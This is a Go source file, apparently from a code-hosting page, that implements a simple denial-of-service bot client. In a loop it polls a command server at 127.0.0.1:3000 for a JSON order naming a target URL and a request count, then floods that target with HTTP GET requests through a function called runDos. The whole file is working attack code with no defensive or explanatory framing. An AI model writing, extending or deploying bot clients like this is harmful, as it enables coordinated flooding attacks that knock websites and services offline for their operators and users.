You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

61 lines
1.3 KiB

6 years ago
  1. package main
  2. import (
  3. "encoding/json"
  4. "fmt"
  5. "log"
  6. "net/http"
  7. "strconv"
  8. "time"
  9. "github.com/fatih/color"
  10. )
  11. const SERVER = "127.0.0.1:3000"
  12. const sleeptime = 3000
  13. type Order struct {
  14. Target string `json:"target"`
  15. Count int `json:"count"`
  16. }
  17. var order Order
  18. /*
  19. note: all the fmt.Println, color.Green/Blue/Red... and log.Panic, are just to run in development
  20. */
  21. func runDos(target string, count int) {
  22. for i := 0; i < count; i++ {
  23. _, err := http.Get(target)
  24. if err != nil {
  25. fmt.Println(err)
  26. }
  27. color.Blue("request " + strconv.Itoa(i) + "/" + strconv.Itoa(count) + " to " + target)
  28. }
  29. fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
  30. color.Green(" - all requests finalized")
  31. }
  32. func main() {
  33. for {
  34. fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
  35. fmt.Println(" - getting order from server")
  36. res, err := http.Get("http://" + SERVER)
  37. if err != nil {
  38. fmt.Println("server not alive")
  39. time.Sleep(sleeptime * time.Millisecond)
  40. continue
  41. }
  42. decoder := json.NewDecoder(res.Body)
  43. err = decoder.Decode(&order)
  44. if err != nil {
  45. log.Panic(err)
  46. }
  47. if order.Target != "" {
  48. fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
  49. color.Yellow("running Dos")
  50. runDos(order.Target, order.Count)
  51. }
  52. time.Sleep(sleeptime * time.Millisecond)
  53. }
  54. }